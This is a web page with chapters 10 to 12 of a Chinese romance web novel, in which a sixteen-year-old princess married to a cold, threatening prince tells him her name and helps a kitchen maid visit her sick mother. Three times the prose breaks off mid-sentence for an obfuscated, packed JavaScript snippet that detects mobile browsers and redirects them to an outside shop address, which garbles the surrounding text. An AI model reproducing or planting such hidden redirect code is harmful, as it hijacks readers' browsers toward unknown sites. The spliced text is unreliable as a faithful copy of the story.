高帽子一戴,谢怀昀拒绝的话是怎么都没办法说出口了,毕竟常安宁说的是夸他的好话,他犯不着自毁名声。 常安宁静静吃着馄饨,眼角余光瞥见谢怀昀还在饭桌上,心中讶异他竟然没走。 她以为自己如此举动,他定会拂袖走人。 她出声问道:“王爷怎么还在这里?” 他都没赶她走呢,她竟然有此疑问! 谢怀昀冷声道:“这是本王的王府,本王想在哪就在哪。你管不着。” “额……”常安宁解释道,“我不是那个意思,我的意思是王爷今日不忙吗?我原以为王爷要出门办事。” 她虽是谢怀昀的妻,但对他的了解并不多,那些人人知晓的事情不需要特地打听便能听到,不知晓的却是连问都不好问。 谢怀昀每日的行程她是一概不知。 闻言,谢怀昀唰地一个眼刀飞过来,眸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480888|201729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色冰冷,语气不善地问道:“办事?你以为我要出去办什么事?” 常安宁:“……” 她哪知道?她只是随口一问。 她实话实说:“我不知道啊……王爷你若不告诉我,我哪里会知道啊……” 谢怀昀定定地瞧了她几眼,见她神色茫然,不似作假才稍稍放下了点戒心,但又警告道: “本王奉劝你不要生出一些不该有的心思,你应当也清楚自己的处境,若是大梁突袭边境,你的下场会很惨。届时本王会第一时间杀了你,用你的鲜血祭旗,祭奠边境那些死去的亡魂。” 他的每个字吐音都很清晰,语调平缓,语气却很凉薄,常安宁的心猛地往下一沉,艰难地咽了口口水。 他没有在说笑。如果战争来临,他真的会杀了她。 常安宁稳了稳心神,应道:“知道了。” 她放下勺子,温柔地说道:“那我希望永远都不要有那么一天,世间这么美好,实在不忍心见它千疮百孔的模样。” 顿了顿,她又说:“而且我也没活够,我还不想死。” 说完,她低下头继续专心吃饭。 谁都没再说话,双方都心照不宣地略过那个沉重的事实。 最后一颗馄饨吃完,常安宁将碗端起,小口小口地喝了起来,馄饨还是得配点汤来喝,要不然噎得慌。 谢怀昀见她对着碗喝汤,碗口几乎要将她的面容全部遮掩,无语地扯了扯嘴角,嘲讽道: “公主还真是不讲究啊。” “公主”两个字音,他咬得贼重,似是在强调她的举止与皇室的身份不相符合。 常安宁没理会他,等汤喝完了才把碗放下,舔了舔嘴唇。 汤被她喝得一干二净,只留了几滴在碗底晃颤着。 她笑了笑,说:“不能浪费嘛,王爷。” 这是她的习惯,也是原主的习惯,俩人都喜欢把饭吃得干净。 常安宁是因为跟奶奶住一起,生活习惯或多或少都被老一辈的影响。 奶奶是从饥荒年代过来的,知道吃不饱饭是个什么滋味,贫穷给她的人生打上了烙印,奶奶的衣食住行都比较节俭,但却不抠门,有了好吃的不会藏着掖着,而是想着法地做给常安宁吃,但每每都会叮嘱她食物来之不易,不能浪费。 常安宁在她的教养熏陶下,在对食物的态度上和她如出一辙。吃饭要吃干净,不能剩碗底。 原主则是因为她在后宫生活贫苦,不受宠爱的妃嫔、公主、皇子能够领到最基本的月例已是不错。 但原主可没这么好的待遇,月例经常性被克扣,缺衣少食,吃了上顿没下顿的,日子过得紧巴巴,没过过好日子。 被选定为和亲公主的那天,她才得见自己的父皇,享受了几天正儿八经的公主待遇。 过往经历塑造了常安宁勤俭节约的品德,以至于哪怕现在物质富足,也没办法变得奢靡。 谢怀昀问道:“你很在意?” “当然,”常安宁不假思索道,“粮食来之不易,应当懂得珍惜,出身皇室更应该以身作则,绝不能仗着身份地位铺张浪费,挥霍无度,浪费的每一粒米,每一袋面都是百姓辛苦劳作的血汗。” “岂能浪费?” 谢怀昀看着常安宁,温热的饭食吃进肚,一股暖意流向四肢百骸,常安宁满足地眯上了眼睛,慵懒惬意的模样让他想到了之前见到的圆脸橘猫。 她刚喝完汤还没来得及擦嘴,嘴上糊了一层亮晶晶的油,显得唇瓣更加莹润饱满,又多了几分孩子气。 他突然想起来,成亲这么久,他好像连她叫什么都不知道,也不知道她今年多大。 他只知她封号宁远,是大梁皇帝的第十九女,除此之外,一无所知。 谢怀昀的好奇心前所未有的强烈,他问道:“你叫什么名字?”声音多了几分温润。 11. 第 11 章 谢怀昀和常安宁的婚书上虽书写了名字,但因他对婚事并不上心,对这位大梁公主也不好奇,甚至懒得做表面功夫走下过场,是以婚书也不曾看过。 常安宁再怎么不受宠也是位实打实的公主,公主身份贵不可言,名字岂能广泛传播任人知晓?在没封号前,大家都称呼她为十九公主。 身居深宫之中知晓她名字的人屈指可数,更不必说宫外的了。 除非常安宁主动说或者是谢怀昀主动查,不然他很难得知她的姓名。 突然被问起,常安宁愣了一瞬,有些懵,不知谢怀昀为何突然询问自己的名字,毕竟来到这个世界以后,就再也没人问过常安宁她叫什么名字了,也没有人喊过她的名字。 她现在的代称只有两个——“宁远公主”和“长衡王妃”,听过的最多的称呼便是“公主”、“王妃”,压根没有向别人介绍自己名字的时候。 同时,她又有些意外,没想到谢怀昀竟然连自己的名字都不知道。 她没觉得名字有什么不可说的,但又不想让谢怀昀这么轻易地知晓,坏点子在心中酝酿,开口问道: “王爷想知道?” 闻言,谢怀昀几不可察地皱了下眉,常安宁的问话让他感到不适。 按理说他俩现在是夫妻,他不是外男,她的名字也没什么好遮掩的,为何要反问他一句,不应该在他问出口时爽快回答吗? 他不懂常安宁为什么不按常理出牌,他看不穿她的心思,但过往经验告诉他,只要不说她不好的地方,诋毁她在意的事情,她都是乖巧听话的。 她兴许就是随口一问,并没有其他的想法,于是他绷着脸轻轻地颔首。 常安宁手肘撑在桌面上,双手捧着脸看着他,觉得他这别扭又矜持的模样有些可爱,连他之前凶狠冷厉的一面都忘记了,弯了弯唇,道:“王爷既然想知道,那就——” 她刻意拉长音,停了下来,谢怀昀看着她,胃口被高高地吊起。 常安宁像是没看出来一样,笑得天真无邪,柔声道:“想着吧。” 谢怀昀:“……” 谢怀昀觉得常安宁真是摆不清自己的位置,竟然还敢开他的玩笑,以下犯上和他说这种话。 而且她还一点眼力见都没有,别人甚至都不需要点头那一步,基本上是他问什么就答得更多,他在常安宁这的退步却换来了拒绝。 一种被人戏耍的恼怒感自谢怀昀的心里升起,他既是王爷,深受皇帝信任,又手握实权,谁见到他都得卑躬屈膝、伏低做小,无人敢这样挑逗他的权威和耐心。 他不悦地沉下脸,几乎是咬牙切齿道: “你要是想死,本王现在就可以成全你。” 常安宁从未见过谢怀昀这样的眼神。大多数时候,他的眼里都像是覆盖了一层厚厚的冰雪,平静而冰凉,很少让人看到别的情绪,乍看有些吓人,让人不敢靠近,但相处久了也就习惯了。 而此刻他的眼睛则是冰火交加,散发出锐利的光芒,犹如实质般地割在常安宁的身上。 他真的生气了!也是真的动了杀心! 常安宁有些后悔,笑意僵在脸上,顶着压力慢慢地将手滑落至下巴处,然后迅速地交叠着放在桌上,同时收回看向谢怀昀的视线,盯着自己的指甲盖看。 这人好像真的开不起玩笑,没想到轻飘飘的三个字竟然有这么大的威力,让他真的想杀了自己。 常安宁怕死,也不想死,弱弱地说:“王爷、王爷别生气。我错了……我向王爷道歉。王爷大人有大量就原谅我这一次吧!我保证不会再犯了。” 说完,她扬起脸,露出一个讨好的笑,毕竟有句话说得好:伸手不打笑脸人。 而且她都道歉了,态度还这么诚恳,谢怀昀的心眼应该没这么小吧?总不能真因为这个杀了她吧? 谢怀昀见她道歉这么快也是没话讲了,也不想揪着不放显得自己小心眼,心里的那股气散了一半,嗤笑一声,说: “没骨气。” 常安宁:“……” 她没理会,说道:“常安宁。我叫常安宁。” 原主也叫常安宁,她的名字是母亲起的。大梁皇帝多子多女,原主母亲又不受宠,自然不会爱屋及乌,对她的名字上心。 但这却是原主母亲对原主最美好的祝愿,希望她此生顺遂无忧,安宁长乐。 而常安宁的名字则是奶奶起的。 她的母亲孙萍一直想要一个男孩,当时怀着她的时候偷偷做b超,医生告诉她肚子里的是个男孩,她很高兴,怀着期待又欣喜的心情在孕期给孩子想了好几个名字,每一个都饱含寓意和祝愿。 结果十月怀胎拼死拼活却生下了常安宁,孙萍在得知是个女孩时当场便哭了起来,后面经人开解,没那么难过了,但看到襁褓里的常安宁时还是会因自己没能一举得男感到失望,对常安宁多有怨恨,恨她为什么不是个男孩,害她又得过一趟“鬼门关”。 她在月子里对常安宁并不上心,没能从生的不是男孩这个意外中走出来,也没心思给她起名字。 就这样一直拖到了要上户口的时候,那些男孩名肯定是不能用了。孙萍又想得男孩,便给她潦草地起了个“招娣”。 奶奶其实没打算插手给常安宁起名字的事,只是想起来问了一嘴,知道是这么个名后顶着压力和怒骂连忙给她改了名字。 孙萍性子急,脾气又暴躁,不喜欢别人插手她的事,置喙她的决定,她本就不喜欢常安宁,奶奶这么做无疑是火上浇油。 孙萍说了很多难听的话,扬言常安宁要是改名,那奶奶就要负责将她养大,吃喝拉撒她要全包,反正她是不会出一分钱的。 奶奶二话不说地答应了,让她从常招娣变成了常安宁。 在母亲因为她是个“不争气”的女孩对她口出恶言时,奶奶将小小的她搂在怀里,温暖的手掌包住她的耳朵,在耳畔轻声哄道: “乖宝,咱把耳朵捂上,别听你妈的,你妈老封建了。” “男孩有什么好的?是福是祸还不一定呢?有没有出息都不一定,都是说不准的事。但奶奶知道我们阿宁是这世上最乖巧懂事、聪明伶俐的孩子,以后好好读书肯定不比男孩差。” 想到这里,常安宁有些难过,头低下来盯着桌上的桌布看,眼睛酸涩发热,很快眼泪涌出,聚在眼窝里要掉不掉的,看起来好生可怜。 谢怀昀一直看着她,目睹了她情绪转变的全过程。 刚刚还一脸讨好笑着的常安宁突然失落垂泪,让他吃惊又意外。 他没见过常安宁哭的模样,哪怕第一次他拿剑恐吓她时,她的眼里也有害怕,但却没落泪。而今也是威胁的话,她怎么就哭了呢? 他不觉得自己的表情和两人初见时有所差别,难道是常安宁变脆弱了? 谢怀昀摸不准她的心思,有些恼怒,语气生硬地说:“哭什么?!别哭了。” 他的声音有些大,听起来像是在吼人,常安宁冷不丁听他开口吓得身体抖了下,蓄在眼窝里的泪水随着她的动作缓缓垂落,颗颗饱满,晶莹剔透。 美人盈泪,惹人怜爱。但谢怀昀却没心思欣赏,只觉得胸腔之内聚积着一股说不清道不明的郁气。 “本王又没把刀真架你脖子上要杀你,只不过说了句‘没骨气’,你至于掉眼泪吗?”他做不到温柔和善,说出的话更难听了,“别哭了,哭得烦死人了。” 常安宁被他这么一吼,从伤感中回过神来,仿若才意识到一般,拿帕子擦了擦眼睛,把泪水擦干。 听谢怀昀这么一说,他好像误会了。误会自己的泪水是因他而生。 常安宁张了张嘴,想要解释,转念一想,她跟他又不熟,还没到可以交心的地步,便又闭上了嘴。 不过他讲话真难听。 谢怀昀见她刚才一副有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480889|201729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话要说的样子,现在却又闭上了嘴,不知怎的,心里更加憋闷,道: “你想说什么就说,嘴长在你身上,我还能不让你说吗?” 常安宁:“……” 常安宁不知道他想让自己说什么,只眨了眨眼睛,声音听起来有点闷哑,道:“我没什么话要说,王爷还有什么要问的吗?” 谢怀昀面色低沉,紧紧地看着她。 少女睫毛被泪水打湿凝结成一簇一簇的,眼眶通红,眼睛里是被水洗过的明亮透澈,透着一股不谙世事的天真和懵懂。 良久,谢怀昀鬼使神差地问道:“你今年多大?” 常安宁愣了下,不知道他今日是怎么回事,好像对自己的基本信息格外感兴趣,有了前车之鉴,这次她没有再耍嘴皮子,而是老老实实地答道: “前不久才过的十六岁生辰。” 谢怀昀:“……” 谢怀昀沉默了。他没想到常安宁竟然才十六岁,差了自己整整八岁,他以为她至少有十七八岁。 在得知常安宁的岁数后,谢怀昀再看她就跟看小孩一样。 算了,他跟个小孩有什么好计较的,以后再不触及原则的前提下他就忍一下她吧,权当是对小辈的关照了。 于是,他放软了语气对常安宁说:“本王没什么想问的了,若是无事,你早些回去吧。” 顿了顿,他又说:“待会我要出门,很晚才会回来,你不用再过来了。” 谢怀昀的心思常安宁不得而知,她只觉得奇怪,走在回去的路上,百思不得其解。 谢怀昀跟个变脸大师一样,那张脸一会儿冷若寒冰,一会儿阴云密布,她都不知道哪里惹到了他。 更诡异的是,他竟然还会叮嘱自己,给自己打声招呼,回想起他说这话的语气时,常安宁莫名打了个寒颤。 发火的谢怀昀令人害怕,温柔的谢怀昀也是不遑多让。 常安宁还未想清楚,突然听到了一阵断断续续的哭声,隔着些距离有些模糊,不仔细听并不容易听出来。 常安宁停住脚步,问向身边的春茗、春早:“你们听是不是有人在哭啊?” 春早跟春茗闻言集中精神,竖耳聆听,果然有被刻意压制的哭声。 春茗道:“公主,好像是假山那传来的。” 王府假山选用的皆是太湖石,在设计时最大限度地保留了石块的原始形状,每一块都无人工雕刻的痕迹,自然地堆叠在一起,错落有致,石块与石块间的缝隙刚好能藏人,很是隐蔽,同时又四通八达,不想被人发现的话还能从别的出口离开。 是个发泄情绪的好地方。 春早问道:“公主可需要奴婢把人叫出来?” 常安宁盯着前方假山的棱角,想了想,道:“不用。” 常安宁想,这人既然是躲在一旁偷偷哭泣,还特意压低了哭声,想来是不愿被别人发现。既然如此,她还是不打扰了,给人留一片清净的空间。 “咱们走吧。” 常安宁刚抬脚,便见有人低着头从假山里出来了,用衣袖擦着眼泪。 许是听见身后的脚步,那人转身看过来,见是常安宁连忙行礼道:“奴婢见过王妃。” 常安宁觉得这人有些眼熟,但又想不起来在哪里见过,只笑着说:“起来吧。” 春早眼尖地发现这人是厨房的元姜,俩人曾有过一面之缘,说道:“元姜你怎么在这里?” 元姜以为春早是误会她在偷懒,连忙跪下,看向常安宁,语气慌乱地解释道:“王妃,奴婢没、没偷懒,奴婢是等活都干完了才出来的。” 常安宁看了春早一眼,春早会意,道:“我可没说你偷懒,王妃也没怪罪你的意思,瞧你吓的。赶紧起来吧。” 可元姜却依旧跪在地上,抠着手指,咬着唇瓣,一脸犹豫的样子。 常安宁看出了她的欲言又止,问道:“你有话要说?” 12. 第 12 章 元姜一直犹豫不决在想该怎么开口,她一个厨房的粗使丫头,越过上头的管事直接求到王妃面前,既逾矩又冒失。 常安宁就算因此罚她也是合理的,她甘愿受罚,绝不会说一句怨恨的话。 但一想到家里面病重的母亲,想到很多年前母亲朦胧的泪眼和枯瘦的双手,她觉得还是得为自己争一把。能成自然最好,不能成最坏的结果就是受一顿罚,后果她都考虑好了。 此时又听常安宁主动询问,元姜当下也不再犹豫,跪趴在地上,鼓起勇气道:“王妃,奴婢有一事相求。” 常安宁不知她所求何事,但看她的穿衣打扮不过是个最低等的丫鬟,想来所求之事应该是她能力范围之内的。 她后知后觉地想起来了元姜是谁。那日在厨房元姜既没有随波逐流,背后议论常安宁,又没有随着其他丫鬟一起捧杀桃红,反而是真心劝诫,可见她是个真诚、有主见的人。 如今元姜又敢抓住机会求到她面前,常安宁愿意为她的清醒勇敢给她一个机会。 她问道:“你所求何事?” 元姜依旧保持着伏地的动作,说:“奴婢的娘亲病重,求王妃允许奴婢出府回家探望娘亲。” 这不是什么大事。古代孝字为先,既是家中亲人病重,张嬷嬷没有道理拦着元姜不让回去,可为何元姜却越过张嬷嬷向她求情呢? 常安宁疑惑问道:“你为何不向张嬷嬷说明呢?王府虽规矩森严,但也不是不讲人情的,既是家中母亲病重,张嬷嬷没道理不放你出府啊?” 元姜又岂能不知?她就是因为在张嬷嬷那碰壁,想着此生恐怕不能再见母亲一面才躲在一边哭泣的。 她不敢隐瞒,道:“嬷嬷说奴婢是签了死契的,当初奴婢家人将奴婢卖给王府,便是断绝了任何关系,从此以后奴婢只是王府的人,与之前的家再也没有半点关系。” “所以,张嬷嬷不放奴婢出府,”元姜声音有些哽咽,说,“可阿娘到底把我生了下来,又把我养到了五岁,奴婢实在是做不到狠心不管呐!” “求王妃成全!” 闻言,常安宁在心里叹了口气。 骨肉亲情,打断骨头连着筋。人的感情又是极其复杂的,哪是三言两语就能割舍断开的呢? 常安宁道:“既是母亲病重,你又一片孝心,我没道理阻拦,你的请求我应下了,你拿着我的玉牌出府吧。” 元姜一听这话,连忙向常安宁磕了几个响头,道:“奴婢谢谢王妃,谢谢王妃。” 常安宁不觉得自己帮了个多大的忙,也就说了一句话,轻声道:“好了,快起来吧。” 常安宁想着元姜不过一个小丫鬟,想来手里并没有什么银钱,生病请大夫开药又是个无底洞,足够拖垮一个穷苦家庭,便悄声给春茗说: “你拿些银钱出来给元姜,让她回去好给她娘请大夫。” 春茗随手带的有荷包,闻言便从包里拿出来些碎银两连同玉牌一起塞到元姜手里,温声道:“这是王妃给你的,你且拿着这钱给你娘请个大夫,抓点药。” 元姜闻言,本就酸涩的眼睛再也撑不住,眼泪扑簌簌地往下掉,道:“这……这怎么能行……” 她只是一个微不足道的丫鬟,大着胆子想要为自己争取一下,早就做好了被拒绝的准备,没成想常安宁不怪罪她的鲁莽和逾矩就算了,还大方地给了自己银钱。 她只不过是个下人,是个低贱之人,从未有人正眼瞧过她,如同蝼蚁一般任人践踏,在常安宁这里她头一次感受到了温暖。 常安宁看她泪流满面的样子,心中不忍,轻声道:“既然给你,你就收下吧。” 这些钱对她来说无足轻重,对一个家庭来说却是救命稻草。元姜又是个懂得感恩的性子,她愿意帮她。 元姜颤抖着手从春茗手里接过银钱跟玉牌,再次跪地磕头道:“王妃今日之恩情奴婢没齿难忘,日后定当为王妃当牛做马以偿还恩情。” 常安宁帮她本就是顺手的事,并没有想要从她那儿获得什么,因此并没有把她的话放在心上,只说:“你娘的病情不能耽搁,你赶紧回去收拾一下东西出府吧。” 她想了想,又祝福道:“你的一片孝心天地可鉴,你娘的病肯定能够早日痊愈。” 元姜泣不成声。 用过晚饭,常安宁坐在窗边看落日,有清凉的风吹过,她舒适地闭上了眼睛。 春茗进来见到这一幕,问道:“公主可是倦了?要不要上床歇着?” 常安宁瞬间睁眼,道:“没有,时辰尚早,我还不困,只是这风吹在脸上舒爽惬意,让人忍不住眯上了眼睛。” 春茗笑了下,叮嘱道:“公主体弱,坐在窗边久吹风当心着凉。” “我知道的。”常安宁点点头。 俩人说话都是轻声细语,此时春早风风火火地进来,瞬间打破了室内温馨宁静的气氛。 “公主,元姜求见!” 元姜?此时她不应该已赶回家中照顾母亲吗?又为何还在王府? 常安宁心里疑惑,道:“让她进来。” 元姜本没资格来常安宁的院子,更别说进屋来,但她手里拿的有常安宁的玉牌,是以畅通无阻,从厨房赶来落云院无人敢拦。 元姜低垂着眼睛进来后,跪地道:“奴婢给王妃请安。” “起来回话,”常安宁开门见山道,“你怎么还没出府?可是遇到什么麻烦了?” 元姜抿抿唇,抬头看了常安宁一眼,而后又低下头去,沉默不语。 她还没想好该怎么说,上午她收拾好包袱,带好银钱跟玉牌准备出门,刚到角门却被守卫拦下来了。 她拿出王妃的玉牌,守卫却说只认王爷的令牌,就算她出府是王妃的意思且持有信物也不行。 见守卫态度强硬,元姜便知她是出不了门了,便原路返回了。 那些负责采买物资的仆妇都没有王爷令牌便可出府,可见这个规矩只是针对王妃的。 元姜脑子灵活,再结合一下府中流言,便明白过来了。 只怕是王爷不让王妃外出,变相地禁足了。 元姜内心焦灼无比,她不想因为她的事让王爷王妃再心生嫌隙,加重矛盾,但又实在是放心不下母亲,天人交战了好些时候,最终还是选择来试试。 常安宁看出来她的迟疑,道:“有什么话你就直说,我会尽力帮你的。” 元姜听到她的允诺如同吃了颗定心丸,直接道:“王妃,奴婢拿您的玉牌出府被人拦了下来,他们说得拿王爷的令牌。” 常安宁:“……” 常安宁瞬间明白了她的意思。谢怀昀限制了她的行动跟自由,只是她之前从未离开过王府,也未遣人出府,所以直到今日才发现了这一点。 常安宁手指点在案桌上,若有所思。 这个谢怀昀防她倒是防得紧。还好她不是爱热闹的性子,要不然一直待在王府,恐怕会憋出病来。 谢怀昀不让她和她的人出王府在她看来不是什么大事,她不会因此生气,甚至是跑去质问他什么。 不过等谢怀昀回来,她是要去找他的。毕竟帮人帮到底,承诺的话已经说出口了,也不好再反悔。 而且,让元姜出府看望生病的母亲这不是什么关乎原则与立场的事,她觉得自己讲清缘由,谢怀昀会同意的并给她一块令牌。 元姜盯着常安宁,见她眉头轻蹙,不敢再看,视线下移落在她轻轻敲打桌案的手指上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480890|201729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,指甲与木头碰撞产生的脆响好似敲击在她的心上,让她的整颗心都高高吊起。 她害怕常安宁不帮她。不过如果真是这样,她也能接受。 常安宁不帮也在情理之中,毕竟她跟王爷的关系僵硬,没道理为了一个下人去触霉头,惹王爷不快。 或许这就是她娘的命。常安宁允她出府,给她钱财已是仁至义尽,为她这个下人做到这个份上已是够够的了。 元姜深吸一口气,道:“王妃已为奴婢做得够多,王妃的恩情奴婢铭记于心。如今此番皆是命数,怨不得人。” 常安宁愣了下,随后反应过来,笑道:“你误会了,我不是感到为难不愿帮你,我只是在想王爷何时回府。” 元姜只觉得在这个平平无奇的一天,她好像被抛上了云间,又狠狠地坠落,最后被一双温暖有力的手给托住了。 能遇到常安宁这样的王妃,简直是她三生有幸。 常安宁想既然是有求于人,那么肯定不能空手而去,她看小厨房有酒酿,便做了碗甜汤给谢怀昀带过去。 天已黑透,夜里降温,常安宁披了件薄披风,草木葳蕤,风吹摇晃,显出鬼魅之态,有些骇人。 耳畔是两侧树丛里不知名的虫儿低吟声,目之所及,黑影重重,诡怪奇异,常安宁只觉得凉意袭卷胳膊,害怕地裹紧了身上的披风。 等看到灯火通明的清竹院,常安宁的心才复归原位。 谢怀昀已经回来了,正在书房里办事。 春茗向守在门口的侍卫禀明来意,等侍卫再出来时请常安宁进去。 常安宁有些意外,没想到这么快就让她进去了,她还以为谢怀昀又会让她好等。 这是她第二次来谢怀昀的书房,上次来她没仔细看,这次倒是不急不缓地看了个全景。 西边的墙上挂了一幅墨竹画,除此之外,墙上再无其他装饰,东边的窗户紧闭,灯火映出院中竹子斑驳的影子,紫檀木做的桌案上摆着笔墨纸砚,熏香炉里升起袅袅烟雾,香味清淡雅致。 谢怀昀此时正在低头翻看着什么,他的身后是一整排书架,被密密麻麻的书全部填满。 常安宁见他专心于手里的书卷,没出声打扰,静静坐在一边等他忙完。 谢怀昀意外她的沉默,抬眸扫了她一眼,见她端正地坐在椅子上一眨不眨地盯着墙上的画看,随意地合上了书,问道: “好看吗?” 常安宁应声转头,看向他,问道:“王爷问的是这幅画吗?” 谢怀昀没好气地回道:“不然呢?你以为本王在问什么?” 常安宁淡淡一笑,说:“王爷书房里的东西,自然是极好的。” 而后,她又盯着墙上的画,赞美道:“寥寥数笔便勾勒出了竹子的形态,竹影清疏,神形兼备,颇有意境,可见作图之人画艺高超。” 谢怀昀一直看着她,见她眼中流露出欣赏之意,心里隐隐有些得意。 常安宁喜欢跟竹子有关的一切,这幅墨竹图她是越看越喜欢,于是问道:“王爷可否告知这幅画是由哪位画师所作?” 世人作画总喜欢在上面题字落款,可谢怀昀书房里的这幅画并无落款。常安宁要想知道作画之人是谁只能问他。 谢怀昀微微挑眉,问道:“你喜欢?想收藏?” 常安宁点点头。 “可惜——”谢怀昀故意拉长音,道,“画师封笔了,世间仅此一幅作品。” 常安宁:“……” 常安宁心里叹息一声,深觉惋惜,说道:“好吧。没想到有幸得见其作,想要收藏却心愿落空了。” 谢怀昀见她一脸失落,有些不自在地咳了一声,问道:“这么晚过来,你有何事?”